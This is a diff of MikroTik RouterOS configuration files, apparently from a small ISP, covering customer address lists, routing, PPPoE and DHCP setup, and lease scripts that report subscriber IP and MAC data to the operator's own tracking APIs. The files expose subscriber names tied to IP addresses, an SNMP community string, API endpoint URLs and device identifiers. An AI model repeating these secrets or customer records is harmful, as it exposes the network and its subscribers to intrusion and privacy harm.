add address=100.64.35.193 comment="Jose Lucas (2370)" list=Active
|
||||||
|
add address=100.64.35.192 comment="Jack Worthy (1461)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.192 comment="Jack Worthy (1461)" list=Active
|
||||||
|
add address=100.64.35.191 comment="Melanie Weddle (2304)" list=\
|
||||||
|
ResidentialBasic
|
||||||
|
add address=100.64.35.191 comment="Melanie Weddle (2304)" list=Active
|
||||||
|
add address=100.64.35.190 comment="Kenneth Campbell (1279)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.190 comment="Kenneth Campbell (1279)" list=Active
|
||||||
|
add address=100.64.35.189 comment="Judy Kresich (606)" list=Delinquent
|
||||||
|
add address=100.64.35.189 comment="Judy Kresich (606)" list=ResidentialBasic
|
||||||
|
add address=100.64.35.189 comment="Judy Kresich (606)" list=Inactive
|
||||||
|
add address=100.64.35.188 comment="Nicole Maenn (2378)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.188 comment="Nicole Maenn (2378)" list=Active
|
||||||
|
add address=100.64.35.187 comment="Zack Knuckey (2301)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.187 comment="Zack Knuckey (2301)" list=Active
|
||||||
|
add address=100.64.35.186 comment="Rick Beckham (464)" list=ResidentialBasic
|
||||||
|
add address=100.64.35.186 comment="Rick Beckham (464)" list=Active
|
||||||
|
add address=100.64.35.185 comment="Kris Dougherty (421)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.185 comment="Kris Dougherty (421)" list=Active
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether7-380
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether7-380
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set port=48348
|
||||||
|
/ip route
|
||||||
|
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.38
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=ca-template
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether7-380 mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.110 transport-addresses=10.254.254.110 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether7-380
|
||||||
|
/ppp aaa
|
||||||
|
set use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
|
||||||
|
204.110.188.126 timeout=300ms
|
||||||
|
add address=204.110.191.2 disabled=yes require-message-auth=no service=ppp \
|
||||||
|
src-address=204.110.188.126 timeout=300ms
|
||||||
|
add accounting-backup=yes address=45.76.56.5 disabled=yes \
|
||||||
|
require-message-auth=no service=ppp src-address=204.110.188.126 timeout=\
|
||||||
|
300ms
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=ether7-380 \
|
||||||
|
networks=10.250.1.32/29 priority=1 type=ptp use-bfd=no
|
||||||
|
add area=backbone-v2 disabled=no passive
|
||||||
|
add area=backbone-v3 disabled=no passive
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.148902, -96.495811"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=982
|
||||||
|
/system logging
|
||||||
|
add action=remote topics=info
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/system scheduler
|
||||||
|
add name=reboot on-event="/system reboot" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=2024-09-16 start-time=03:35:00
|
||||||
464
mikrotik-tool/climax.rsc
Normal file
464
mikrotik-tool/climax.rsc
Normal file
|
|
@ -0,0 +1,464 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = UETF-WF31
|
||||||
|
#
|
||||||
|
# model = CCR2004-16G-2S+
|
||||||
|
# serial number = HH90A5E8XJF
|
||||||
|
/interface bridge
|
||||||
|
add name=climax-bridge
|
||||||
|
add name=mgmt
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether1 ] name=ether1-climaxtower
|
||||||
|
set [ find default-name=ether2 ] l2mtu=9000 rx-flow-control=auto \
|
||||||
|
tx-flow-control=auto
|
||||||
|
set [ find default-name=ether3 ] l2mtu=2024 name=ether3-culleoka-11ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether4 ] l2mtu=2024 name=ether4-380-airfiber24 \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether5 ] l2mtu=1580 name=ether5-494 rx-flow-control=\
|
||||||
|
auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether6 ] l2mtu=2024 name=ether6-verona-11ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-switch \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether8 ] l2mtu=9000 name=ether8-michael \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] auto-negotiation=no rx-flow-control=\
|
||||||
|
auto speed=1G-baseX tx-flow-control=auto
|
||||||
|
/interface vlan
|
||||||
|
add interface=ether7-switch name=vlan10_ether7 vlan-id=10
|
||||||
|
add interface=sfp-sfpplus1 name=vlan10_sfp-sfpplus1 vlan-id=10
|
||||||
|
/ip hotspot user profile
|
||||||
|
set [ find default=yes ] add-mac-cookie=no on-logout="/ip hotspot host remove \
|
||||||
|
[find where address=\94\$address\94 and !authorized and !bypassed]" \
|
||||||
|
session-timeout=1h
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=climaxtower ranges=10.0.102.1-10.0.102.253
|
||||||
|
add name=dhcp_pool1 ranges=10.100.16.1-10.100.30.254
|
||||||
|
add name=cgnat ranges=100.64.7.1-100.64.7.250
|
||||||
|
add name=public-temp ranges=204.110.190.1-204.110.190.99
|
||||||
|
add name=climax-mgmt ranges=10.10.16.1-10.10.30.254
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=climaxtower interface=climax-bridge name=dhcp1
|
||||||
|
add address-pool=climax-mgmt interface=mgmt lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" name=climax-mgmt
|
||||||
|
/ipv6 pool
|
||||||
|
add name=climax-v6 prefix=2606:1c80:1:2000::/52 prefix-length=64
|
||||||
|
/ppp profile
|
||||||
|
add bridge-learning=no change-tcp-mss=yes dns-server=\
|
||||||
|
204.110.191.240,204.110.191.20 local-address=cgnat name=pppoe on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=cgnat use-compression=no use-encryption=no use-ipv6=no \
|
||||||
|
use-mpls=no use-upnp=no
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=fq-codel
|
||||||
|
/queue interface
|
||||||
|
set ether1-climaxtower queue=fq-codel
|
||||||
|
set ether2 queue=fq-codel
|
||||||
|
set ether3-culleoka-11ghz queue=fq-codel
|
||||||
|
set ether4-380-airfiber24 queue=fq-codel
|
||||||
|
set ether5-494 queue=fq-codel
|
||||||
|
set ether6-verona-11ghz queue=fq-codel
|
||||||
|
set ether7-switch queue=fq-codel
|
||||||
|
set ether8-michael queue=fq-codel
|
||||||
|
set ether9 queue=fq-codel
|
||||||
|
set ether10 queue=fq-codel
|
||||||
|
set ether11 queue=fq-codel
|
||||||
|
set ether12 queue=fq-codel
|
||||||
|
set ether13 queue=fq-codel
|
||||||
|
set ether14 queue=fq-codel
|
||||||
|
set ether15 queue=fq-codel
|
||||||
|
set ether16 queue=fq-codel
|
||||||
|
set sfp-sfpplus1 queue=fq-codel
|
||||||
|
set sfp-sfpplus2 queue=fq-codel
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.102 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 originate-default=\
|
||||||
|
never out-filter-chain=ospf-out redistribute=connected router-id=id-1
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected router-id=id-1 version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
set 0 memory-lines=100
|
||||||
|
set 1 disk-lines-per-file=100
|
||||||
|
set 3 remote=204.110.191.251 src-address=10.254.254.102
|
||||||
|
add name=logs remote=204.110.191.229 src-address=10.254.254.102 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=climax-bridge ingress-filtering=no interface=ether7-switch \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=climax-bridge ingress-filtering=no interface=ether8-michael \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=climax-bridge ingress-filtering=no interface=ether2 \
|
||||||
|
internal-path-cost=10 multicast-router=disabled path-cost=10
|
||||||
|
add bridge=climax-bridge interface=sfp-sfpplus1
|
||||||
|
add bridge=mgmt interface=vlan10_ether7
|
||||||
|
add bridge=mgmt interface=vlan10_sfp-sfpplus1
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set enabled=yes icmp-timeout=30s tcp-close-wait-timeout=1m \
|
||||||
|
tcp-established-timeout=4h tcp-fin-wait-timeout=2m tcp-last-ack-timeout=\
|
||||||
|
30s tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip neighbor discovery-settings
|
||||||
|
set discover-interface-list=!dynamic
|
||||||
|
/ip settings
|
||||||
|
set max-neighbor-entries=8192 tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add authentication=chap,mschap2 default-profile=pppoe disabled=no interface=\
|
||||||
|
climax-bridge max-mru=1492 max-mtu=1492 one-session-per-host=yes \
|
||||||
|
service-name=Climax
|
||||||
|
/ip address
|
||||||
|
add address=10.0.102.254/24 interface=ether1-climaxtower network=10.0.102.0
|
||||||
|
add address=10.254.254.102 interface=lo network=10.254.254.102
|
||||||
|
add address=204.110.188.62/27 interface=climax-bridge network=204.110.188.32
|
||||||
|
add address=100.64.7.254/22 interface=climax-bridge network=100.64.4.0
|
||||||
|
add address=10.250.1.14/29 interface=ether3-culleoka-11ghz network=10.250.1.8
|
||||||
|
add address=10.250.1.30/29 interface=ether6-verona-11ghz network=10.250.1.24
|
||||||
|
add address=10.250.1.70/29 interface=ether5-494 network=10.250.1.64
|
||||||
|
add address=10.250.1.94/29 interface=ether4-380-airfiber24 network=\
|
||||||
|
10.250.1.88
|
||||||
|
add address=10.10.31.254/20 interface=mgmt network=10.10.16.0
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.102.0/24 dns-server=9.9.9.9 gateway=10.0.102.254
|
||||||
|
add address=10.10.16.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.31.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.4.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.7.254 ntp-server=204.110.191.19
|
||||||
|
add address=204.110.188.32/27 dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
domain=vntx.net gateway=204.110.188.62 ntp-server=204.110.191.19
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether5-494
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether5-494
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=\
|
||||||
|
ether4-380-airfiber24
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether4-380-airfiber24
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether6-verona-11ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-verona-11ghz
|
||||||
|
add action=passthrough chain=unused-hs-chain comment=\
|
||||||
|
"place hotspot rules here" disabled=yes
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip hotspot ip-binding
|
||||||
|
add address=100.64.7.250 type=bypassed
|
||||||
|
add address=204.110.188.62 type=bypassed
|
||||||
|
add address=10.10.0.0/16 type=bypassed
|
||||||
|
add address=204.110.188.0/24
|
||||||
|
add address=100.64.0.0/10
|
||||||
|
add address=204.110.188.32/27
|
||||||
|
add address=0.0.0.0/0 type=blocked
|
||||||
|
/ip hotspot profile
|
||||||
|
add dns-name=climax.vntx.net hotspot-address=10.100.31.254 login-by="" name=\
|
||||||
|
hsprof1
|
||||||
|
/ip ipsec policy
|
||||||
|
set 0 dst-address=0.0.0.0/0 src-address=0.0.0.0/0
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set cache-path=web-proxy1 port=23435
|
||||||
|
/ip proxy access
|
||||||
|
add src-address=100.64.0.0/10
|
||||||
|
add src-address=204.110.188.0/22
|
||||||
|
add src-address=10.0.0.0/8
|
||||||
|
add action=deny
|
||||||
|
/ip route
|
||||||
|
add disabled=no distance=1 dst-address=0.0.0.0/0 gateway=10.250.1.89 \
|
||||||
|
pref-src="" routing-table=main scope=30 target-scope=10
|
||||||
|
add dst-address=204.110.188.224/27 gateway=10.250.1.25
|
||||||
|
add dst-address=100.64.0.0/22 gateway=10.250.1.25
|
||||||
|
add dst-address=10.10.0.0/20 gateway=10.250.1.25
|
||||||
|
add dst-address=10.10.80.0/20 gateway=10.250.1.25
|
||||||
|
add dst-address=204.110.191.0/27 gateway=10.250.1.25
|
||||||
|
add dst-address=10.250.1.64/29 gateway=10.250.1.65
|
||||||
|
add dst-address=10.254.254.111/32 gateway=10.250.1.65
|
||||||
|
add dst-address=100.64.160.0/20 gateway=10.250.1.65
|
||||||
|
add dst-address=204.110.188.64/27 gateway=10.250.1.65
|
||||||
|
add disabled=no dst-address=10.254.254.101/32 gateway=10.250.1.25 \
|
||||||
|
routing-table=main
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=MyCA
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 strong-crypto=yes
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:1010::1 interface=ether6-verona-11ghz
|
||||||
|
/ipv6 dhcp-relay option
|
||||||
|
set client_mac value="0x0001\$(CLIENT_MAC)"
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether6-verona-11ghz mpls-mtu=1508
|
